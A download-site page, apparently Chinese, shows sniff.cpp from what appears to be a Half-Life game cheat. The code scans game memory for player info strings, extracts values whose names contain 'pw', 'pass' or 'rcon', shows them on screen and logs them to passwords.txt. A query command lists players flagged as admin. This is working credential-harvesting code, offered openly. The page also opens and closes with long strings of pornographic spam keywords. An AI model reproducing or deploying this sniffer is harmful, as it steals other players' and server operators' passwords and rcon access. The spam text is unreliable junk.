亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? sniff.cpp

?? 我對他如何控制準星、顯示敵友很好奇
?? CPP
字號:
#include <windows.h>
#include <vector>
#include <string>
#include <fstream>
using namespace std;
#include "sniff.h"
#include "cvar.h"

#include "timehandling.h"
#include "stringfinder.h"

extern char  gHudMessage[256];
extern StopTimer gHudTimer;


HLSniffer hlSniffer;
//============================================================
//void Dump (void * addr, DWORD length)
//{
//	char filename[256];
//	sprintf(filename,"c:\\tmpaxx\\A%x-L%d.bin",(DWORD)addr,length);
//
//	FILE * fp = fopen (filename, "wb");
//	fwrite ((void*)addr, 1, length, fp);
//        fclose (fp);	
//}

#define MakePtr(cast, ptr, AddValue) (cast)( (DWORD)(ptr)+(DWORD)(AddValue)) 
//=======================================================
void HLSniffer::sniff()
{
	MEMORY_BASIC_INFORMATION MBI;
	void *  pMemory;

	pMemory  = (void *)0x00000000;
	while (VirtualQuery(pMemory, &MBI, sizeof(MBI)))
	{
			if (MBI.State == MEM_COMMIT)
			{
				if(MBI.RegionSize>500000 && MBI.RegionSize<4000000)
				{
					//Dump(pMemory,MBI.RegionSize);
					scan((char*)pMemory,MBI.RegionSize);
				}
			}
		pMemory = MakePtr(void *, pMemory, MBI.RegionSize);
	}
}

////=======================================================
void OGCmessage(const char *fmt, ... );

//=======================================================
void scanCVAR(const string& dump_string, string& out_name, vector<string>& out_cvarnames, vector<string>& out_cvarvalues)
{
	out_name.erase();
	out_cvarnames.clear();
	out_cvarvalues.clear();

	char dump[1024];
	strncpy(dump,dump_string.c_str(),1022);
	dump[1021]=0;

	char* namepos = strstr(dump,"\\name\\");
	if(!namepos) return;
	char* begin   = dump;
	char* end     = dump+strlen(dump);

	char* curpos;
	for(curpos=begin;curpos<end;curpos++) if(*curpos=='\\') *curpos=0;

    // scan backwards:
	curpos = namepos-1;
	for(;;)
	{
		while(curpos>begin && *curpos) --curpos;
		if(curpos<=begin) break; // useless single value
		++curpos;
		string cvar_value ( curpos );
		--curpos; --curpos;

		while(curpos>begin && *curpos) --curpos;
		if(!*curpos) curpos++;
		
		out_cvarnames .push_back (curpos);
		out_cvarvalues.push_back(cvar_value);

		--curpos;--curpos;
		if(curpos<=begin) break;
	}

	// get name:
	curpos = namepos+6;
	
	out_name = curpos;
	out_cvarnames.push_back ("name");
	out_cvarvalues.push_back(out_name);
	
	curpos += out_name.size();
	++curpos;


	// scan forward
	for(;;)
	{
		if(curpos>=end) break;
		string cvar_name = curpos;
		
		while(curpos<end && *curpos) ++curpos;
		++curpos;
		if(curpos>=end) break;

		out_cvarnames .push_back(cvar_name);
		out_cvarvalues.push_back(curpos   );

		while(curpos<end && *curpos) ++curpos;
		++curpos;
	}
}

//=======================================================
bool cvarNameScan(vector<string>& names,vector<string>& values, string* out_name=NULL, string* out_value=NULL)
{
	bool found=false;
	for(unsigned int i=0;i<names.size();i++)
	{
		if(names[i].find("pw"   )!=string::npos) found = true;
		if(names[i].find("pass" )!=string::npos) found = true;
		if(names[i].find("rcon" )!=string::npos) found = true;
		if(found)
		{
			if(out_name)  *out_name  = names[i];
			if(out_value) *out_value = values[i];
			return true;
		}
	}
	return false;
}


string getOgcDirFile(const char* basename);
StringFinder dupecheck;

//=======================================================
void pwScan(const string& cvars)
{
	unsigned int i;
	vector<string> names;
	vector<string> values;
	string nick;
	
	scanCVAR(cvars,nick,names,values);

	string found_value;
	string found_name;
	bool found = cvarNameScan(names,values,&found_name,&found_value);

	if(found)
	{
		bool isdupe = dupecheck.find(nick.c_str());
		if(!isdupe) dupecheck.add(nick.c_str(),0);

		//bool ismyself = true;
		if(cvar.info>=5)OGCmessage("found: %s dupe: %d", nick.c_str(),isdupe);

		// notify
		if(!isdupe || cvar.sniff==2)
		{
			sprintf   (gHudMessage,"%s: %s \"%s\", use \"query\" to find more infos", nick.c_str(), found_name.c_str(), found_value.c_str() );
			gHudTimer.countdown(10);
			OGCmessage("%s: %s \"%s\"", nick.c_str(), found_name.c_str(), found_value.c_str() );
		}

		if(!isdupe)
		{
			// log
			ofstream pwlog( getOgcDirFile("passwords.txt").c_str(), ios::app);

			// init exclude list
			static bool excludeInitialized = false;
			static StringFinder exclude;
			if(!excludeInitialized)
			{
				excludeInitialized=true;
				exclude.add("topcolor",0);
				exclude.add("bottomcolor",0);
				exclude.add("rate",0);
				exclude.add("cl_updaterate",0);
				exclude.add("cl_lw",0);
				exclude.add("cl_lc",0);
				exclude.add("cl_dlmax",0);
				exclude.add("lefthand",0);
				exclude.add("vgui_menus",0);
				exclude.add("model",0);
				exclude.add("ah",0);
				exclude.add("dm",0);
				exclude.add("ghosts",0);
			
			}

			for(i=0;i<names.size();i++)
			{
				if(!exclude.find(names[i].c_str()))
				{
					pwlog<<names[i]<<" = "<<values[i]<<endl;
				}
			}
			pwlog<<"========================================"<<endl;
			pwlog.close();
		}
	}
}


//=======================================================
void HLSniffer::scan(const char* data, int size)
{
	// scan for \\name\\ up to FFFF
	register int   countDown = 0xFFFF;
	register const char* pos = data;

	// do we have the right chunk?
	bool found = false;
	while(countDown){
		if( pos[0]=='\\' && pos[1]=='n' && pos[2]=='a' && pos[3]=='m' && pos[4]=='e' && pos[5]=='\\' ) { found = true; break; }
		++pos;
		--countDown;
	}
	if(!found) return;

	//OGCmessage("Global Cvars found, scanning...");

	// scan
	cvarDump.clear();
	countDown = size-32;
	pos = data;
	while(countDown){
		if( pos[0]=='\\' && pos[1]=='n' && pos[2]=='a' && pos[3]=='m' && pos[4]=='e' && pos[5]=='\\' ) 
		{ 
			const char *begin = pos;
			while(*begin) begin--;
			begin++;
			string cvars( begin );
			cvarDump.push_back(cvars);
		}
		++pos;
		--countDown; 
	}

//	OGCmessage("done. Use \"query\" to view collected information.");

	for(unsigned int i=0;i<cvarDump.size();i++) pwScan(cvarDump[i]);

}


//=======================================================
void HLSniffer::query(const string& indexStr)
{
	if(indexStr.empty())
	{
		for(unsigned int i=0;i<cvarDump.size();i++)
		{
			vector<string> n, v;
			string nick;
			scanCVAR(cvarDump[i],nick,n,v);
			if(cvarNameScan(n,v)) OGCmessage( "&r#  %d [admin] = %s",i,nick.c_str() );
			else                  OGCmessage(   "#  %d = %s",i,nick.c_str() );
		}
		return;
	}
	else
	{
		int unsigned index = atoi(indexStr.c_str());
		if(!( index>=0 && index<cvarDump.size() )){ OGCmessage("&rinvalid number");return; }

		string& dump = cvarDump[index];
		//OGCmessage("%s",dump.c_str());

		vector<string> n,v;
		string nick;
		scanCVAR(dump,nick,n,v);

		for(unsigned int i=0;i<n.size();i++)
		{
			OGCmessage("%s = %s",n[i].c_str(), v[i].c_str());
		}
	}
}
 

//=======================================================
void HLSniffer::mainthread()
{
	while(1)
	{
		try{
			Sleep(10000);

			//void OGCmessage(const char *fmt, ... );

			if(cvar.sniff)
			{
				if(cvar.info==5)OGCmessage("sniffing...");
				sniff();
			}
		}
		catch(...)
		{}
	}
}

//=======================================================
DWORD WINAPI SnifferThread( LPVOID lpParam ) 
{
	HLSniffer* pThis = (HLSniffer*)lpParam;
	pThis->mainthread();
	return 0;
}


//=======================================================
void HLSniffer::createthread()
{
	if(!hThread)
	{
		DWORD dwThreadId;
		hThread = CreateThread(NULL,256*1024,SnifferThread,(LPVOID)this,0,&dwThreadId);
		if(hThread)
		{
			SetThreadPriority(hThread,THREAD_PRIORITY_LOWEST);
		}
	}
}











?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
天堂午夜影视日韩欧美一区二区| 日日夜夜免费精品| 亚洲一二三区视频在线观看| 久久66热偷产精品| 欧美色中文字幕| 国产精品嫩草99a| 久久精品噜噜噜成人88aⅴ | 日本精品一级二级| 精品少妇一区二区三区视频免付费 | 4438x成人网最大色成网站| 精品91自产拍在线观看一区| 亚洲一级二级在线| 成人动漫一区二区在线| 日韩欧美激情四射| 午夜精品福利一区二区蜜股av| 成人激情免费电影网址| 欧美精品一区二区三区一线天视频 | 久久久一区二区三区捆绑**| 五月综合激情日本mⅴ| 97久久超碰国产精品| xnxx国产精品| 麻豆精品一区二区| 91麻豆精品国产自产在线| 一区二区三区高清在线| 高清不卡在线观看| 国产精品一区二区在线观看网站| 亚洲h在线观看| 91激情五月电影| 亚洲柠檬福利资源导航| 成人综合在线视频| 国产精品毛片无遮挡高清| 国产乱人伦偷精品视频不卡 | 亚洲老司机在线| 成人污视频在线观看| 中文字幕欧美国产| 成人在线综合网站| 国产精品三级视频| jizz一区二区| 悠悠色在线精品| 欧美日韩一区高清| 日韩有码一区二区三区| 天天影视涩香欲综合网| 91麻豆精品国产91久久久久久| 亚洲动漫第一页| 9191精品国产综合久久久久久| 五月天久久比比资源色| 久久精品国产免费| 久久久久久一级片| av中文字幕不卡| 亚洲成人动漫精品| 欧美大片国产精品| 成人在线一区二区三区| 亚洲精品欧美综合四区| 在线播放中文一区| 激情五月激情综合网| 国产精品久久久久一区二区三区 | 欧美一区二区在线播放| 久久99国产精品久久99果冻传媒| 国产午夜精品一区二区三区嫩草 | 亚洲综合视频在线| 免费观看成人av| 国产清纯美女被跳蛋高潮一区二区久久w| 国产91丝袜在线播放| 亚洲视频综合在线| 欧美一三区三区四区免费在线看| av不卡免费电影| 欧美在线播放高清精品| 色妞www精品视频| 在线不卡中文字幕| 国产毛片精品视频| 欧美自拍偷拍一区| 激情综合色综合久久综合| 亚洲人成影院在线观看| 日韩小视频在线观看专区| 国产激情视频一区二区三区欧美 | 欧美精品少妇一区二区三区| 国产精品一区二区果冻传媒| 一级做a爱片久久| 久久综合久久鬼色| 欧美日韩一本到| 国产一区二区三区美女| 天使萌一区二区三区免费观看| 国产女主播在线一区二区| 3d动漫精品啪啪一区二区竹菊| 国产欧美视频一区二区三区| 精品视频1区2区| 国产精品一区二区三区网站| 欧美激情在线看| 国产一区二区三区香蕉| 麻豆国产精品官网| 欧美挠脚心视频网站| 国产成人av一区二区三区在线| 一个色在线综合| 中文字幕第一区二区| 日韩一级高清毛片| 欧美日韩三级一区| 自拍偷拍国产精品| 国产婷婷一区二区| 日韩精品一区二区三区在线观看 | 91精品在线观看入口| 91免费视频网址| 国产河南妇女毛片精品久久久| 美女视频黄 久久| 天堂成人国产精品一区| 亚洲超碰97人人做人人爱| 亚洲天堂精品视频| 国产日韩精品一区| 99久久精品久久久久久清纯| 日本一区中文字幕| 日韩欧美国产精品| 日本美女一区二区三区| 亚洲精品免费在线播放| 国产精品福利电影一区二区三区四区| 日韩精品自拍偷拍| 日韩一卡二卡三卡四卡| 在线播放中文一区| 欧美一级一级性生活免费录像| 在线综合+亚洲+欧美中文字幕| 欧美精选一区二区| 欧美一级理论片| 欧美色国产精品| 毛片基地黄久久久久久天堂| 日韩电影在线免费看| 日本成人在线看| 精品在线亚洲视频| 国内偷窥港台综合视频在线播放| 狠狠色综合日日| 国产成人精品亚洲777人妖 | 欧美日韩三级视频| 色综合夜色一区| 欧美成人精品二区三区99精品| 欧美人与禽zozo性伦| 蜜桃久久久久久| 色老汉av一区二区三区| 亚洲自拍偷拍综合| 亚洲国产一二三| 天堂一区二区在线免费观看| 欧美aaaaaa午夜精品| 韩国av一区二区| 91美女福利视频| 欧美日韩视频在线一区二区| 欧美成人a视频| 欧美国产视频在线| 亚洲一二三级电影| 韩国欧美国产一区| eeuss鲁一区二区三区| 91搞黄在线观看| 精品区一区二区| 国产欧美日韩另类视频免费观看| 亚洲欧美影音先锋| 日欧美一区二区| yourporn久久国产精品| 欧美性xxxxx极品少妇| 久久―日本道色综合久久| 国内欧美视频一区二区| 91老师国产黑色丝袜在线| av中文字幕不卡| 成人黄色一级视频| av不卡在线播放| 日韩网站在线看片你懂的| 国产欧美一区二区在线| 亚洲激情在线激情| 激情欧美一区二区三区在线观看| 成人精品视频一区二区三区| 4438x成人网最大色成网站| 国产精品久久三| 蜜臀久久久久久久| 色综合久久久久综合体| 久久久久久久久蜜桃| 亚洲一区二区三区在线| 国产精品99久久久久久似苏梦涵| 在线亚洲欧美专区二区| 国产亚洲短视频| 一区二区国产视频| av高清不卡在线| 国产日韩在线不卡| 久久国产尿小便嘘嘘尿| 欧美在线观看18| 亚洲青青青在线视频| 国产综合色精品一区二区三区| 欧美性生交片4| 久久精子c满五个校花| 欧美老年两性高潮| 亚洲欧美偷拍卡通变态| 国产美女一区二区| 在线一区二区三区四区| 久久久久久久综合狠狠综合| 日本怡春院一区二区| 欧美天堂一区二区三区| 亚洲免费高清视频在线| 99在线热播精品免费| 国产精品久久久久久久岛一牛影视| 欧美精品一区二区在线观看| 五月天精品一区二区三区| 精品视频在线免费看| 亚洲午夜精品网| 欧美性猛交xxxx黑人交| 亚洲综合无码一区二区| 亚洲国产一区二区三区青草影视| 亚洲午夜久久久久久久久电影院|